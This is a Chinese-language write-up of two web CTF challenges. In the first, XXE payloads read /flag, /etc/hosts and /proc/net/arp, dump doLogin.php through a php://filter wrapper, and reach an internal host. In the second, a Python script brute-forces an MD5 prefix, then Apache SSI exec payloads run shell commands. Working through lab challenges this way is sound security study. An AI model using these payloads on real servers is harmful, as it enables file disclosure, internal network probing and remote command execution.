知识点
31-1 [NCTF2019]True XML cookbook
做题思路
打开题目后发现一段代码,审计代码
发现一个文件 doLogin.php 需要用POST传输 输入得到
又是不懂的,没有头绪,又回想起来这个界面好像见过,发现和之前的一道XXE漏洞的题目类似,然而不会
由WP得知 是由
可以得知是XXE漏洞
先拿XXE漏洞poc读/flag
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE hack [ <!ENTITY file SYSTEM "file:///flag"> ]> <user> <username>&file;</username> <password>hack</password> </user>
flag并不在这里,那用PHP伪协议读一下 doLogin.php 文件
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE user [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./doLogin.php"> ]> <user><username>&xxe;</username><password>&xxe;</password></user>
得到
<?php /** * autor: c0ny1 * date: 2018-2-7 */ $USERNAME = 'admin'; //账号 $PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码 $result = null; libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); try{ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $username = $creds->username; $password = $creds->password; if($username == $USERNAME && $password == $PASSWORD){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username); }else{ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage()); } header('Content-Type: text/html; charset=utf-8'); echo $result; ?>
没啥用,原来xxe利用的方式还有许多,比如下面就要用到的,访问内网中的主机,先使用file读取etc/hosts的内容,这payload为
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE user [ <!ENTITY xxe SYSTEM "file:///etc/hosts"> ]> <user><username>&xxe;</username><password>&xxe;</password></user>
响应内容为
看起来就像win里面的hosts一样,应该是为了相同的目的
再读取另一个关键文件: /proc/net/arp
payload为
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE user [ <!ENTITY xxe SYSTEM "file:///proc/net/arp"> ]> <user><username>&xxe;</username><password>&xxe;</password></user>
响应内容为
给了两个ip但是哪个才是存活ip,据wp最后都是11,试了之后还是没出来,可能是哪一步错了吧,最后没得到flag
最后再试了一下,出来了,看来是之前有问题
payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE user [ <!ENTITY xxe SYSTEM "http://10.85.192.11"> ]> <user><username>&xxe;</username><password>&xxe;</password></user>
31-2 [BJDCTF2020]EasySearch
做题思路
尝试登陆了一下
这题完全没有思路,除了扫描目录,可是我并不会
寻找WP
用御剑扫描到了index.php.swp
进去是一段源代码
<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8"); *** if(isset($_POST['username']) and $_POST['username'] != '' ) { $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) { echo "<script>alert('[+] Welcome to manage system')</script>"; $file_shtml = "public/".get_hash().".shtml"; $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); $text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***'; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo "<script>alert('[!] Failed')</script>"; }else { *** } ***
其中get_hash()函数限制了password值经过MD5加密后的前六位值等于6d0bc1,然后在public目录下创建shtml文件,并以get_hash()函数返回值作为文件名,将POST方式传入的变量username的值写入文件中。
首先编写Python3脚本,爆破出MD5加密后前六位为6d0bc1的密码:
import hashlib for i in range(1, 100000000): res = hashlib.md5(str(i).encode('utf-8')).hexdigest() if res[:6] == '6d0bc1': print(i, res)
运行程序,得到结果:
尝试使用 2020666 作为密码登陆,并使用 burpsuite 抓包
发现一个文件 Url_is_here: public/74bfe34b339a9de8d46a3b4654bb25a385fdf43d.shtml 访问该文件
回显了用户名,经WP知道是Apache SSI 远程命令执行漏洞 详情可见
题目中
username
被写入了 shtml 文件,所以将其值修改为:<!--#exec cmd="ls"-->
当前目录没有flag,回退一下:
payload:
<!--#exec cmd="cd ../;ls"-->
查看文件 shtml,得到flag